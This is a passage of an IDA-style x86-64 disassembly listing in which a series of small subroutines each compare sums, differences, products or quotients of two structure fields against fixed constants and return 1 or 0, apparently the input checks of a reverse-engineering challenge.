.text:00000000004018CA ; ---------------------------------------------------------------------------
.text:00000000004018CA
.text:00000000004018CA loc_4018CA: ; CODE XREF: sub_401881+26↑j
.text:00000000004018CA ; sub_401881+40↑j
.text:00000000004018CA mov eax, 0
.text:00000000004018CF
.text:00000000004018CF loc_4018CF: ; CODE XREF: sub_401881+47↑j
.text:00000000004018CF pop rbp
.text:00000000004018D0 retn
.text:00000000004018D0 ; } // starts at 401881
.text:00000000004018D0 sub_401881 endp
.text:00000000004018D0
.text:00000000004018D1
.text:00000000004018D1 ; =============== S U B R O U T I N E =======================================
.text:00000000004018D1
.text:00000000004018D1 ; Attributes: bp-based frame
.text:00000000004018D1
.text:00000000004018D1 sub_4018D1 proc near ; CODE XREF: sub_4036FC+8E5↓p
.text:00000000004018D1
.text:00000000004018D1 var_10 = qword ptr -10h
.text:00000000004018D1 var_8 = qword ptr -8
.text:00000000004018D1
.text:00000000004018D1 ; __unwind {
.text:00000000004018D1 push rbp
.text:00000000004018D2 mov rbp, rsp
.text:00000000004018D5 mov [rbp+var_8], rdi
.text:00000000004018D9 mov [rbp+var_10], rsi
.text:00000000004018DD mov rax, [rbp+var_8]
.text:00000000004018E1 movsd xmm1, qword ptr [rax+70h]
.text:00000000004018E6 mov rax, [rbp+var_10]
.text:00000000004018EA movsd xmm0, qword ptr [rax+9Ah]
.text:00000000004018F2 mulsd xmm0, xmm1
.text:00000000004018F6 ucomisd xmm0, cs:qword_404C78
.text:00000000004018FE jbe short loc_401934
.text:0000000000401900 mov rax, [rbp+var_8]
.text:0000000000401904 movsd xmm0, qword ptr [rax+70h]
.text:0000000000401909 mov rax, [rbp+var_10]
.text:000000000040190D movsd xmm1, qword ptr [rax+9Ah]
.text:0000000000401915 subsd xmm0, xmm1
.text:0000000000401919 ucomisd xmm0, cs:qword_404C80
.text:0000000000401921 jp short loc_401934
.text:0000000000401923 ucomisd xmm0, cs:qword_404C80
.text:000000000040192B jnz short loc_401934
.text:000000000040192D mov eax, 1
.text:0000000000401932 jmp short loc_401939
.text:0000000000401934 ; ---------------------------------------------------------------------------
.text:0000000000401934
.text:0000000000401934 loc_401934: ; CODE XREF: sub_4018D1+2D↑j
.text:0000000000401934 ; sub_4018D1+50↑j ...
.text:0000000000401934 mov eax, 0
.text:0000000000401939
.text:0000000000401939 loc_401939: ; CODE XREF: sub_4018D1+61↑j
.text:0000000000401939 pop rbp
.text:000000000040193A retn
.text:000000000040193A ; } // starts at 4018D1
.text:000000000040193A sub_4018D1 endp
.text:000000000040193A
.text:000000000040193B
.text:000000000040193B ; =============== S U B R O U T I N E =======================================
.text:000000000040193B
.text:000000000040193B ; Attributes: bp-based frame
.text:000000000040193B
.text:000000000040193B sub_40193B proc near ; CODE XREF: sub_4036FC+904↓p
.text:000000000040193B
.text:000000000040193B var_10 = qword ptr -10h
.text:000000000040193B var_8 = qword ptr -8
.text:000000000040193B
.text:000000000040193B ; __unwind {
.text:000000000040193B push rbp
.text:000000000040193C mov rbp, rsp
.text:000000000040193F mov [rbp+var_8], rdi
.text:0000000000401943 mov [rbp+var_10], rsi
.text:0000000000401947 mov rax, [rbp+var_8]
.text:000000000040194B mov edx, [rax+78h]
.text:000000000040194E mov rax, [rbp+var_10]
.text:0000000000401952 mov eax, [rax+0AAh]
.text:0000000000401958 sub edx, eax
.text:000000000040195A mov eax, edx
.text:000000000040195C cmp eax, 5F241F3h
.text:0000000000401961 jnz short loc_401985
.text:0000000000401963 mov rax, [rbp+var_8]
.text:0000000000401967 mov edx, [rax+78h]
.text:000000000040196A mov rax, [rbp+var_10]
.text:000000000040196E mov eax, [rax+0AAh]
.text:0000000000401974 imul eax, edx
.text:0000000000401977 cmp eax, 2A45F3D2h
.text:000000000040197C jnz short loc_401985
.text:000000000040197E mov eax, 1
.text:0000000000401983 jmp short loc_40198A
.text:0000000000401985 ; ---------------------------------------------------------------------------
.text:0000000000401985
.text:0000000000401985 loc_401985: ; CODE XREF: sub_40193B+26↑j
.text:0000000000401985 ; sub_40193B+41↑j
.text:0000000000401985 mov eax, 0
.text:000000000040198A
.text:000000000040198A loc_40198A: ; CODE XREF: sub_40193B+48↑j
.text:000000000040198A pop rbp
.text:000000000040198B retn
.text:000000000040198B ; } // starts at 40193B
.text:000000000040198B sub_40193B endp
.text:000000000040198B
.text:000000000040198C
.text:000000000040198C ; =============== S U B R O U T I N E =======================================
.text:000000000040198C
.text:000000000040198C ; Attributes: bp-based frame
.text:000000000040198C
.text:000000000040198C sub_40198C proc near ; CODE XREF: sub_4036FC+923↓p
.text:000000000040198C
.text:000000000040198C var_10 = qword ptr -10h
.text:000000000040198C var_8 = qword ptr -8
.text:000000000040198C
.text:000000000040198C ; __unwind {
.text:000000000040198C push rbp
.text:000000000040198D mov rbp, rsp
.text:0000000000401990 mov [rbp+var_8], rdi
.text:0000000000401994 mov [rbp+var_10], rsi
.text:0000000000401998 mov rax, [rbp+var_8]
.text:000000000040199C movzx eax, byte ptr [rax+5Fh]
.text:00000000004019A0 movsx eax, al
.text:00000000004019A3 mov rdx, [rbp+var_10]
.text:00000000004019A7 movzx edx, byte ptr [rdx+7Eh]
.text:00000000004019AB movsx esi, dl
.text:00000000004019AE cdq
.text:00000000004019AF idiv esi
.text:00000000004019B1 cmp al, 2
.text:00000000004019B3 jnz short loc_4019D9
.text:00000000004019B5 mov rax, [rbp+var_8]
.text:00000000004019B9 movzx eax, byte ptr [rax+5Fh]
.text:00000000004019BD mov ecx, eax
.text:00000000004019BF mov rax, [rbp+var_10]
.text:00000000004019C3 movzx eax, byte ptr [rax+7Eh]
.text:00000000004019C7 mov edx, eax
.text:00000000004019C9 mov eax, ecx
.text:00000000004019CB imul eax, edx
.text:00000000004019CE cmp al, 7Ch
.text:00000000004019D0 jnz short loc_4019D9
.text:00000000004019D2 mov eax, 1
.text:00000000004019D7 jmp short loc_4019DE
.text:00000000004019D9 ; ---------------------------------------------------------------------------
.text:00000000004019D9
.text:00000000004019D9 loc_4019D9: ; CODE XREF: sub_40198C+27↑j
.text:00000000004019D9 ; sub_40198C+44↑j
.text:00000000004019D9 mov eax, 0
.text:00000000004019DE
.text:00000000004019DE loc_4019DE: ; CODE XREF: sub_40198C+4B↑j
.text:00000000004019DE pop rbp
.text:00000000004019DF retn
.text:00000000004019DF ; } // starts at 40198C
.text:00000000004019DF sub_40198C endp
.text:00000000004019DF
.text:00000000004019E0
.text:00000000004019E0 ; =============== S U B R O U T I N E =======================================
.text:00000000004019E0
.text:00000000004019E0 ; Attributes: bp-based frame
.text:00000000004019E0
.text:00000000004019E0 sub_4019E0 proc near ; CODE XREF: sub_4036FC+942↓p
.text:00000000004019E0
.text:00000000004019E0 var_10 = qword ptr -10h
.text:00000000004019E0 var_8 = qword ptr -8
.text:00000000004019E0
.text:00000000004019E0 ; __unwind {
.text:00000000004019E0 push rbp
.text:00000000004019E1 mov rbp, rsp
.text:00000000004019E4 mov [rbp+var_8], rdi
.text:00000000004019E8 mov [rbp+var_10], rsi
.text:00000000004019EC mov rax, [rbp+var_8]
.text:00000000004019F0 movzx eax, byte ptr [rax+5Fh]
.text:00000000004019F4 mov edx, eax
.text:00000000004019F6 mov rax, [rbp+var_10]
.text:00000000004019FA movzx eax, byte ptr [rax+7Fh]
.text:00000000004019FE sub edx, eax
.text:0000000000401A00 mov eax, edx
.text:0000000000401A02 cmp al, 44h
.text:0000000000401A04 jnz short loc_401A2A
.text:0000000000401A06 mov rax, [rbp+var_8]
.text:0000000000401A0A movzx eax, byte ptr [rax+5Fh]
.text:0000000000401A0E movsx eax, al
.text:0000000000401A11 mov rdx, [rbp+var_10]
.text:0000000000401A15 movzx edx, byte ptr [rdx+7Fh]
.text:0000000000401A19 movsx ecx, dl
.text:0000000000401A1C cdq
.text:0000000000401A1D idiv ecx
.text:0000000000401A1F cmp al, 2
.text:0000000000401A21 jnz short loc_401A2A
.text:0000000000401A23 mov eax, 1
.text:0000000000401A28 jmp short loc_401A2F
.text:0000000000401A2A ; ---------------------------------------------------------------------------
.text:0000000000401A2A
.text:0000000000401A2A loc_401A2A: ; CODE XREF: sub_4019E0+24↑j
.text:0000000000401A2A ; sub_4019E0+41↑j
.text:0000000000401A2A mov eax, 0
.text:0000000000401A2F
.text:0000000000401A2F loc_401A2F: ; CODE XREF: sub_4019E0+48↑j
.text:0000000000401A2F pop rbp
.text:0000000000401A30 retn
.text:0000000000401A30 ; } // starts at 4019E0
.text:0000000000401A30 sub_4019E0 endp
.text:0000000000401A30
.text:0000000000401A31
.text:0000000000401A31 ; =============== S U B R O U T I N E =======================================
.text:0000000000401A31
.text:0000000000401A31 ; Attributes: bp-based frame
.text:0000000000401A31
.text:0000000000401A31 sub_401A31 proc near ; CODE XREF: sub_4036FC+961↓p
.text:0000000000401A31
.text:0000000000401A31 var_10 = qword ptr -10h
.text:0000000000401A31 var_8 = qword ptr -8
.text:0000000000401A31
.text:0000000000401A31 ; __unwind {
.text:0000000000401A31 push rbp
.text:0000000000401A32 mov rbp, rsp
.text:0000000000401A35 mov [rbp+var_8], rdi
.text:0000000000401A39 mov [rbp+var_10], rsi
.text:0000000000401A3D mov rax, [rbp+var_8]
.text:0000000000401A41 movzx eax, byte ptr [rax+5Dh]
.text:0000000000401A45 mov edx, eax
.text:0000000000401A47 mov rax, [rbp+var_10]
.text:0000000000401A4B movzx eax, byte ptr [rax+6Ah]
.text:0000000000401A4F add eax, edx
.text:0000000000401A51 cmp al, 0D4h
.text:0000000000401A53 jnz short loc_401A76
.text:0000000000401A55 mov rax, [rbp+var_8]
.text:0000000000401A59 movzx eax, byte ptr [rax+5Dh]
.text:0000000000401A5D mov edx, eax
.text:0000000000401A5F mov rax, [rbp+var_10]
.text:0000000000401A63 movzx eax, byte ptr [rax+6Ah]
.text:0000000000401A67 sub edx, eax
.text:0000000000401A69 mov eax, edx
.text:0000000000401A6B cmp al, 0Ah
.text:0000000000401A6D jnz short loc_401A76
.text:0000000000401A6F mov eax, 1
.text:0000000000401A74 jmp short loc_401A7B
.text:0000000000401A76 ; ---------------------------------------------------------------------------
.text:0000000000401A76
.text:0000000000401A76 loc_401A76: ; CODE XREF: sub_401A31+22↑j
.text:0000000000401A76 ; sub_401A31+3C↑j
.text:0000000000401A76 mov eax, 0
.text:0000000000401A7B
.text:0000000000401A7B loc_401A7B: ; CODE XREF: sub_401A31+43↑j
.text:0000000000401A7B pop rbp
.text:0000000000401A7C retn
.text:0000000000401A7C ; } // starts at 401A31
.text:0000000000401A7C sub_401A31 endp
.text:0000000000401A7C
.text:0000000000401A7D
.text:0000000000401A7D ; =============== S U B R O U T I N E =======================================
.text:0000000000401A7D
.text:0000000000401A7D ; Attributes: bp-based frame
.text:0000000000401A7D
.text:0000000000401A7D sub_401A7D proc near ; CODE XREF: sub_4036FC+980↓p
.text:0000000000401A7D
.text:0000000000401A7D var_10 = qword ptr -10h
.text:0000000000401A7D var_8 = qword ptr -8
.text:0000000000401A7D
.text:0000000000401A7D ; __unwind {
.text:0000000000401A7D push rbp
.text:0000000000401A7E mov rbp, rsp
.text:0000000000401A81 mov [rbp+var_8], rdi
.text:0000000000401A85 mov [rbp+var_10], rsi
.text:0000000000401A89 mov rax, [rbp+var_8]
.text:0000000000401A8D movzx eax, word ptr [rax+66h]
.text:0000000000401A91 mov edx, eax
.text:0000000000401A93 mov rax, [rbp+var_10]
.text:0000000000401A97 movzx eax, word ptr [rax+6Eh]
.text:0000000000401A9B imul eax, edx
.text:0000000000401A9E cmp ax, 89C0h
.text:0000000000401AA2 jnz short loc_401AC7
.text:0000000000401AA4 mov rax, [rbp+var_8]
.text:0000000000401AA8 movzx eax, word ptr [rax+66h]
.text:0000000000401AAC mov edx, eax
.text:0000000000401AAE mov rax, [rbp+var_10]
.text:0000000000401AB2 movzx eax, word ptr [rax+6Eh]
.text:0000000000401AB6 sub edx, eax
.text:0000000000401AB8 mov eax, edx
.text:0000000000401ABA cmp ax, 3FF2h
.text:0000000000401ABE jnz short loc_401AC7
.text:0000000000401AC0 mov eax, 1
.text:0000000000401AC5 jmp short loc_401ACC
.text:0000000000401AC7 ; ---------------------------------------------------------------------------
.text:0000000000401AC7
.text:0000000000401AC7 loc_401AC7: ; CODE XREF: sub_401A7D+25↑j
.text:0000000000401AC7 ; sub_401A7D+41↑j
.text:0000000000401AC7 mov eax, 0
.text:0000000000401ACC
.text:0000000000401ACC loc_401ACC: ; CODE XREF: sub_401A7D+48↑j
.text:0000000000401ACC pop rbp
.text:0000000000401ACD retn
.text:0000000000401ACD ; } // starts at 401A7D
.text:0000000000401ACD sub_401A7D endp
.text:0000000000401ACD
.text:0000000000401ACE
.text:0000000000401ACE ; =============== S U B R O U T I N E =======================================
.text:0000000000401ACE
.text:0000000000401ACE ; Attributes: bp-based frame
.text:0000000000401ACE
.text:0000000000401ACE sub_401ACE proc near ; CODE XREF: sub_4036FC+99F↓p
.text:0000000000401ACE
.text:0000000000401ACE var_10 = qword ptr -10h
.text:0000000000401ACE var_8 = qword ptr -8
.text:0000000000401ACE
.text:0000000000401ACE ; __unwind {
.text:0000000000401ACE push rbp
.text:0000000000401ACF mov rbp, rsp
.text:0000000000401AD2 mov [rbp+var_8], rdi
.text:0000000000401AD6 mov [rbp+var_10], rsi
.text:0000000000401ADA mov rax, [rbp+var_8]
.text:0000000000401ADE movzx eax, word ptr [rax+6Ch]
.text:0000000000401AE2 cwde
.text:0000000000401AE3 mov rdx, [rbp+var_10]
.text:0000000000401AE7 movzx edx, word ptr [rdx+70h]
.text:0000000000401AEB movsx ecx, dx
.text:0000000000401AEE cdq
.text:0000000000401AEF idiv ecx
.text:0000000000401AF1 test ax, ax
.text:0000000000401AF4 jnz short loc_401B19
.text:0000000000401AF6 mov rax, [rbp+var_8]
.text:0000000000401AFA movzx eax, word ptr [rax+6Ch]
.text:0000000000401AFE mov edx, eax
.text:0000000000401B00 mov rax, [rbp+var_10]
.text:0000000000401B04 movzx eax, word ptr [rax+70h]
.text:0000000000401B08 sub edx, eax
.text:0000000000401B0A mov eax, edx
.text:0000000000401B0C cmp ax, 0FFDCh
.text:0000000000401B10 jnz short loc_401B19
.text:0000000000401B12 mov eax, 1
.text:0000000000401B17 jmp short loc_401B1E
.text:0000000000401B19 ; ---------------------------------------------------------------------------
.text:0000000000401B19
.text:0000000000401B19 loc_401B19: ; CODE XREF: sub_401ACE+26↑j
.text:0000000000401B19 ; sub_401ACE+42↑j
.text:0000000000401B19 mov eax, 0
.text:0000000000401B1E
.text:0000000000401B1E loc_401B1E: ; CODE XREF: sub_401ACE+49↑j
.text:0000000000401B1E pop rbp
.text:0000000000401B1F retn
.text:0000000000401B1F ; } // starts at 401ACE
.text:0000000000401B1F sub_401ACE endp
.text:0000000000401B1F
.text:0000000000401B20
.text:0000000000401B20 ; =============== S U B R O U T I N E =======================================
.text:0000000000401B20
.text:0000000000401B20 ; Attributes: bp-based frame
.text:0000000000401B20
.text:0000000000401B20 sub_401B20 proc near ; CODE XREF: sub_4036FC+9BE↓p
.text:0000000000401B20
.text:0000000000401B20 var_10 = qword ptr -10h
.text:0000000000401B20 var_8 = qword ptr -8
.text:0000000000401B20
.text:0000000000401B20 ; __unwind {
.text:0000000000401B20 push rbp
.text:0000000000401B21 mov rbp, rsp
.text:0000000000401B24 mov [rbp+var_8], rdi
.text:0000000000401B28 mov [rbp+var_10], rsi
.text:0000000000401B2C mov rax, [rbp+var_8]
.text:0000000000401B30 movzx eax, word ptr [rax+74h]
.text:0000000000401B34 mov edx, eax
.text:0000000000401B36 mov rax, [rbp+var_10]
.text:0000000000401B3A movzx eax, word ptr [rax+76h]
.text:0000000000401B3E imul eax, edx
.text:0000000000401B41 cmp ax, 5FFEh
.text:0000000000401B45 jnz short loc_401B68
.text:0000000000401B47 mov rax, [rbp+var_8]
.text:0000000000401B4B movzx eax, word ptr [rax+74h]
.text:0000000000401B4F mov edx, eax
.text:0000000000401B51 mov rax, [rbp+var_10]
.text:0000000000401B55 movzx eax, word ptr [rax+76h]
.text:0000000000401B59 add eax, edx
.text:0000000000401B5B cmp ax, 0D2BBh
.text:0000000000401B5F jnz short loc_401B68
.text:0000000000401B61 mov eax, 1
.text:0000000000401B66 jmp short loc_401B6D
.text:0000000000401B68 ; ---------------------------------------------------------------------------
.text:0000000000401B68
.text:0000000000401B68 loc_401B68: ; CODE XREF: sub_401B20+25↑j
.text:0000000000401B68 ; sub_401B20+3F↑j
.text:0000000000401B68 mov eax, 0
.text:0000000000401B6D
.text:0000000000401B6D loc_401B6D: ; CODE XREF: sub_401B20+46↑j
.text:0000000000401B6D pop rbp
.text:0000000000401B6E retn
.text:0000000000401B6E ; } // starts at 401B20
.text:0000000000401B6E sub_401B20 endp
.text:0000000000401B6E
.text:0000000000401B6F
.text:0000000000401B6F ; =============== S U B R O U T I N E =======================================
.text:0000000000401B6F
.text:0000000000401B6F ; Attributes: bp-based frame
.text:0000000000401B6F
.text:0000000000401B6F sub_401B6F proc near ; CODE XREF: sub_4036FC+9DD↓p
.text:0000000000401B6F
.text:0000000000401B6F var_10 = qword ptr -10h
.text:0000000000401B6F var_8 = qword ptr -8
.text:0000000000401B6F
.text:0000000000401B6F ; __unwind {
.text:0000000000401B6F push rbp
.text:0000000000401B70 mov rbp, rsp
.text:0000000000401B73 mov [rbp+var_8], rdi
.text:0000000000401B77 mov [rbp+var_10], rsi
.text:0000000000401B7B mov rax, [rbp+var_8]
.text:0000000000401B7F movzx eax, word ptr [rax+78h]
.text:0000000000401B83 mov edx, eax
.text:0000000000401B85 mov rax, [rbp+var_10]
.text:0000000000401B89 movzx eax, word ptr [rax+90h]
.text:0000000000401B90 sub edx, eax
.text:0000000000401B92 mov eax, edx
.text:0000000000401B94 cmp ax, 0FD01h
.text:0000000000401B98 jnz short loc_401BC0
.text:0000000000401B9A mov rax, [rbp+var_8]
.text:0000000000401B9E movzx eax, word ptr [rax+78h]
.text:0000000000401BA2 cwde
.text:0000000000401BA3 mov rdx, [rbp+var_10]
.text:0000000000401BA7 movzx edx, word ptr [rdx+90h]
.text:0000000000401BAE movsx ecx, dx
.text:0000000000401BB1 cdq
.text:0000000000401BB2 idiv ecx
.text:0000000000401BB4 test ax, ax
.text:0000000000401BB7 jnz short loc_401BC0
.text:0000000000401BB9 mov eax, 1
.text:0000000000401BBE jmp short loc_401BC5
.text:0000000000401BC0 ; ---------------------------------------------------------------------------
.text:0000000000401BC0
.text:0000000000401BC0 loc_401BC0: ; CODE XREF: sub_401B6F+29↑j
.text:0000000000401BC0 ; sub_401B6F+48↑j
.text:0000000000401BC0 mov eax, 0
.text:0000000000401BC5
.text:0000000000401BC5 loc_401BC5: ; CODE XREF: sub_401B6F+4F↑j
.text:0000000000401BC5 pop rbp
.text:0000000000401BC6 retn
.text:0000000000401BC6 ; } // starts at 401B6F
.text:0000000000401BC6 sub_401B6F endp
.text:0000000000401BC6
.text:0000000000401BC7
.text:0000000000401BC7 ; =============== S U B R O U T I N E =======================================
.text:0000000000401BC7
.text:0000000000401BC7 ; Attributes: bp-based frame
.text:0000000000401BC7
.text:0000000000401BC7 sub_401BC7 proc near ; CODE XREF: sub_4036FC+9FC↓p
.text:0000000000401BC7
.text:0000000000401BC7 var_10 = qword ptr -10h
.text:0000000000401BC7 var_8 = qword ptr -8
.text:0000000000401BC7
.text:0000000000401BC7 ; __unwind {
.text:0000000000401BC7 push rbp
.text:0000000000401BC8 mov rbp, rsp
.text:0000000000401BCB mov [rbp+var_8], rdi
.text:0000000000401BCF mov [rbp+var_10], rsi
.text:0000000000401BD3 mov rax, [rbp+var_8]
.text:0000000000401BD7 movzx eax, word ptr [rax+7Ah]
.text:0000000000401BDB mov edx, eax
.text:0000000000401BDD mov rax, [rbp+var_10]
.text:0000000000401BE1 movzx eax, word ptr [rax+90h]
.text:0000000000401BE8 add eax, edx
.text:0000000000401BEA cmp ax, 0D1C6h
.text:0000000000401BEE jnz short loc_401C16
.text:0000000000401BF0 mov rax, [rbp+var_8]
.text:0000000000401BF4 movzx eax, word ptr [rax+7Ah]
.text:0000000000401BF8 mov edx, eax
.text:0000000000401BFA mov rax, [rbp+var_10]
.text:0000000000401BFE movzx eax, word ptr [rax+90h]
.text:0000000000401C05 sub edx, eax
.text:0000000000401C07 mov eax, edx
.text:0000000000401C09 cmp ax, 6FCh
.text:0000000000401C0D jnz short loc_401C16
.text:0000000000401C0F mov eax, 1
.text:0000000000401C14 jmp short loc_401C1B
.text:0000000000401C16 ; ---------------------------------------------------------------------------
.text:0000000000401C16
.text:0000000000401C16 loc_401C16: ; CODE XREF: sub_401BC7+27↑j
.text:0000000000401C16 ; sub_401BC7+46↑j
.text:0000000000401C16 mov eax, 0
.text:0000000000401C1B
.text:0000000000401C1B loc_401C1B: ; CODE XREF: sub_401BC7+4D↑j
.text:0000000000401C1B pop rbp
.text:0000000000401C1C retn
.text:0000000000401C1C ; } // starts at 401BC7
.text:0000000000401C1C sub_401BC7 endp
.text:0000000000401C1C
.text:0000000000401C1D
.text:0000000000401C1D ; =============== S U B R O U T I N E =======================================
.text:0000000000401C1D
.text:0000000000401C1D ; Attributes: bp-based frame
.text:0000000000401C1D
.text:0000000000401C1D sub_401C1D proc near ; CODE XREF: sub_4036FC+A1B↓p
.text:0000000000401C1D
.text:0000000000401C1D var_10 = qword ptr -10h
.text:0000000000401C1D var_8 = qword ptr -8
.text:0000000000401C1D
.text:0000000000401C1D ; __unwind {
.text:0000000000401C1D push rbp
.text:0000000000401C1E mov rbp, rsp
.text:0000000000401C21 mov [rbp+var_8], rdi
.text:0000000000401C25 mov [rbp+var_10], rsi
.text:0000000000401C29 mov rax, [rbp+var_8]
.text:0000000000401C2D movzx eax, word ptr [rax+7Ch]
.text:0000000000401C31 mov edx, eax
.text:0000000000401C33 mov rax, [rbp+var_10]
.text:0000000000401C37 movzx eax, word ptr [rax+7Eh]
.text:0000000000401C3B add eax, edx
.text:0000000000401C3D cmp ax, 389Ah
.text:0000000000401C41 jnz short loc_401C66
.text:0000000000401C43 mov rax, [rbp+var_8]
.text:0000000000401C47 movzx eax, word ptr [rax+7Ch]
.text:0000000000401C4B mov edx, eax
.text:0000000000401C4D mov rax, [rbp+var_10]
.text:0000000000401C51 movzx eax, word ptr [rax+7Eh]
.text:0000000000401C55 sub edx, eax
.text:0000000000401C57 mov eax, edx
.text:0000000000401C59 cmp ax, 0DC3Eh
.text:0000000000401C5D jnz short loc_401C66
.text:0000000000401C5F mov eax, 1
.text:0000000000401C64 jmp short loc_401C6B
.text:0000000000401C66 ; ---------------------------------------------------------------------------
.text:0000000000401C66
.text:0000000000401C66 loc_401C66: ; CODE XREF: sub_401C1D+24↑j
.text:0000000000401C66 ; sub_401C1D+40↑j
.text:0000000000401C66 mov eax, 0
.text:0000000000401C6B
.text:0000000000401C6B loc_401C6B: ; CODE XREF: sub_401C1D+47↑j
.text:0000000000401C6B pop rbp
.text:0000000000401C6C retn
.text:0000000000401C6C ; } // starts at 401C1D
.text:0000000000401C6C sub_401C1D endp
.text:0000000000401C6C
.text:0000000000401C6D
.text:0000000000401C6D ; =============== S U B R O U T I N E =======================================
.text:0000000000401C6D
.text:0000000000401C6D ; Attributes: bp-based frame
.text:0000000000401C6D
.text:0000000000401C6D sub_401C6D proc near ; CODE XREF: sub_4036FC+A3A↓p
.text:0000000000401C6D
.text:0000000000401C6D var_10 = qword ptr -10h
.text:0000000000401C6D var_8 = qword ptr -8
.text:0000000000401C6D
.text:0000000000401C6D ; __unwind {
.text:0000000000401C6D push rbp
.text:0000000000401C6E mov rbp, rsp
.text:0000000000401C71 mov [rbp+var_8], rdi
.text:0000000000401C75 mov [rbp+var_10], rsi
.text:0000000000401C79 mov rax, [rbp+var_8]
.text:0000000000401C7D movzx eax, word ptr [rax+7Ch]
.text:0000000000401C81 mov edx, eax
.text:0000000000401C83 mov rax, [rbp+var_10]
.text:0000000000401C87 movzx eax, word ptr [rax+80h]
.text:0000000000401C8E sub edx, eax
.text:0000000000401C90 mov eax, edx
.text:0000000000401C92 cmp ax, 0DC3Eh
.text:0000000000401C96 jnz short loc_401CBC
.text:0000000000401C98 mov rax, [rbp+var_8]
.text:0000000000401C9C movzx eax, word ptr [rax+7Ch]
.text:0000000000401CA0 mov edx, eax
.text:0000000000401CA2 mov rax, [rbp+var_10]
.text:0000000000401CA6 movzx eax, word ptr [rax+80h]
.text:0000000000401CAD add eax, edx
.text:0000000000401CAF cmp ax, 389Ah
.text:0000000000401CB3 jnz short loc_401CBC
.text:0000000000401CB5 mov eax, 1
.text:0000000000401CBA jmp short loc_401CC1
.text:0000000000401CBC ; ---------------------------------------------------------------------------
.text:0000000000401CBC
.text:0000000000401CBC loc_401CBC: ; CODE XREF: sub_401C6D+29↑j
.text:0000000000401CBC ; sub_401C6D+46↑j
.text:0000000000401CBC mov eax, 0
.text:0000000000401CC1
.text:0000000000401CC1 loc_401CC1: ; CODE XREF: sub_401C6D+4D↑j
.text:0000000000401CC1 pop rbp
.text:0000000000401CC2 retn
.text:0000000000401CC2 ; } // starts at 401C6D
.text:0000000000401CC2 sub_401C6D endp
.text:0000000000401CC2
.text:0000000000401CC3
.text:0000000000401CC3 ; =============== S U B R O U T I N E =======================================
.text:0000000000401CC3
.text:0000000000401CC3 ; Attributes: bp-based frame
.text:0000000000401CC3
.text:0000000000401CC3 sub_401CC3 proc near ; CODE XREF: sub_4036FC+A59↓p
.text:0000000000401CC3
.text:0000000000401CC3 var_10 = qword ptr -10h
.text:0000000000401CC3 var_8 = qword ptr -8
.text:0000000000401CC3
.text:0000000000401CC3 ; __unwind {
.text:0000000000401CC3 push rbp
.text:0000000000401CC4 mov rbp, rsp
.text:0000000000401CC7 mov [rbp+var_8], rdi
.text:0000000000401CCB mov [rbp+var_10], rsi
.text:0000000000401CCF mov rax, [rbp+var_8]
.text:0000000000401CD3 movzx eax, byte ptr [rax+80h]
.text:0000000000401CDA movsx eax, al
.text:0000000000401CDD mov rdx, [rbp+var_10]
.text:0000000000401CE1 movzx edx, byte ptr [rdx+82h]
.text:0000000000401CE8 movsx ecx, dl
.text:0000000000401CEB cdq
.text:0000000000401CEC idiv ecx
.text:0000000000401CEE cmp al, 1
.text:0000000000401CF0 jnz short loc_401D17
.text:0000000000401CF2 mov rax, [rbp+var_8]
.text:0000000000401CF6 movzx eax, byte ptr [rax+80h]
.text:0000000000401CFD mov edx, eax
.text:0000000000401CFF mov rax, [rbp+var_10]
.text:0000000000401D03 movzx eax, byte ptr [rax+82h]
.text:0000000000401D0A add eax, edx
.text:0000000000401D0C cmp al, 5Ch
.text:0000000000401D0E jnz short loc_401D17
.text:0000000000401D10 mov eax, 1
.text:0000000000401D15 jmp short loc_401D1C
.text:0000000000401D17 ; ---------------------------------------------------------------------------
.text:0000000000401D17
.text:0000000000401D17 loc_401D17: ; CODE XREF: sub_401CC3+2D↑j
.text:0000000000401D17 ; sub_401CC3+4B↑j
.text:0000000000401D17 mov eax, 0
.text:0000000000401D1C
.text:0000000000401D1C loc_401D1C: ; CODE XREF: sub_401CC3+52↑j
.text:0000000000401D1C pop rbp
.text:0000000000401D1D retn
.text:0000000000401D1D ; } // starts at 401CC3
.text:0000000000401D1D sub_401CC3 endp
.text:0000000000401D1D
.text:0000000000401D1E
.text:0000000000401D1E ; =============== S U B R O U T I N E =======================================
.text:0000000000401D1E
.text:0000000000401D1E ; Attributes: bp-based frame
.text:0000000000401D1E
.text:0000000000401D1E sub_401D1E proc near ; CODE XREF: sub_4036FC+A78↓p
.text:0000000000401D1E
.text:0000000000401D1E var_10 = qword ptr -10h
.text:0000000000401D1E var_8 = qword ptr -8
.text:0000000000401D1E
.text:0000000000401D1E ; __unwind {
.text:0000000000401D1E push rbp
.text:0000000000401D1F mov rbp, rsp
.text:0000000000401D22 mov [rbp+var_8], rdi
.text:0000000000401D26 mov [rbp+var_10], rsi
.text:0000000000401D2A mov rax, [rbp+var_8]
.text:0000000000401D2E movzx eax, byte ptr [rax+81h]
.text:0000000000401D35 mov ecx, eax
.text:0000000000401D37 mov rax, [rbp+var_10]
.text:0000000000401D3B movzx eax, byte ptr [rax+82h]
.text:0000000000401D42 mov edx, eax
.text:0000000000401D44 mov eax, ecx
.text:0000000000401D46 imul eax, edx
.text:0000000000401D49 cmp al, 44h
.text:0000000000401D4B jnz short loc_401D77
.text:0000000000401D4D mov rax, [rbp+var_8]
.text:0000000000401D51 movzx eax, byte ptr [rax+81h]
.text:0000000000401D58 movsx eax, al
.text:0000000000401D5B mov rdx, [rbp+var_10]
.text:0000000000401D5F movzx edx, byte ptr [rdx+82h]
.text:0000000000401D66 movsx esi, dl
.text:0000000000401D69 cdq
.text:0000000000401D6A idiv esi
.text:0000000000401D6C cmp al, 1
.text:0000000000401D6E jnz short loc_401D77
.text:0000000000401D70 mov eax, 1
.text:0000000000401D75 jmp short loc_401D7C
.text:0000000000401D77 ; ---------------------------------------------------------------------------
.text:0000000000401D77
.text:0000000000401D77 loc_401D77: ; CODE XREF: sub_401D1E+2D↑j
.text:0000000000401D77 ; sub_401D1E+50↑j
.text:0000000000401D77 mov eax, 0
.text:0000000000401D7C
.text:0000000000401D7C loc_401D7C: ; CODE XREF: sub_401D1E+57↑j
.text:0000000000401D7C pop rbp
.text:0000000000401D7D retn
.text:0000000000401D7D ; } // starts at 401D1E
.text:0000000000401D7D sub_401D1E endp
.text:0000000000401D7D
.text:0000000000401D7E
.text:0000000000401D7E ; =============== S U B R O U T I N E =======================================
.text:0000000000401D7E
.text:0000000000401D7E ; Attributes: bp-based frame
.text:0000000000401D7E
.text:0000000000401D7E sub_401D7E proc near ; CODE XREF: sub_4036FC+A97↓p
.text:0000000000401D7E
.text:0000000000401D7E var_10 = qword ptr -10h
